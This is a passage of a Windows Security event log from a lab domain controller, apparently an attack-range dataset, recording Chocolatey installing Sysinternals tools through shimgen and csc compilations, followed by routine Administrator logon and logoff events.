-SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246985 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xae4 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x480 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246984 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x480 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Winobj64.exe" --output="C:\ProgramData\chocolatey\bin\Winobj64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Winobj64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246983 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xee4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xee8 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES1DBF.tmp" "c:\ProgramData\chocolatey\bin\CSCD8CC7EEDB75D46DB8CE33B4CB6679223.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246982 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfb4 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xee8 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246981 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xee8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x35c - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Winobj.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123430_8174\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123430_8174\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123430_8174\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123430_8174\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123430_8174\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246980 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe88 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x35c - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246979 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x35c - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Winobj.exe" --output="C:\ProgramData\chocolatey\bin\Winobj.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Winobj.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246978 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x310 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe6c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES1CD5.tmp" "c:\ProgramData\chocolatey\bin\CSC43495B21E6C940108C44152B1DF1165.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246977 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdbc - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe6c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246976 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe6c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xdd4 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\whois64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123430_5986\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123430_5986\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123430_5986\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123430_5986\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123430_5986\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246975 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5b0 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xdd4 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246974 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdd4 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\whois64.exe" --output="C:\ProgramData\chocolatey\bin\whois64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\whois64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246973 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x868 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x994 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES1BFA.tmp" "c:\ProgramData\chocolatey\bin\CSCDFE7446976B74D60A669DD4C3BBC47FB.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246972 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xba0 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x994 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246971 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x994 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x468 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\whois.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123430_3799\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123430_3799\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123430_3799\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123430_3799\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123430_3799\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=246970 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0xDB957 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:41:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246969 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0xDB957 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:41:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246968 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:41:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=246967 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:41:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=246966 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0xAD979 - -Logon Type: 3 - -This event is generated when 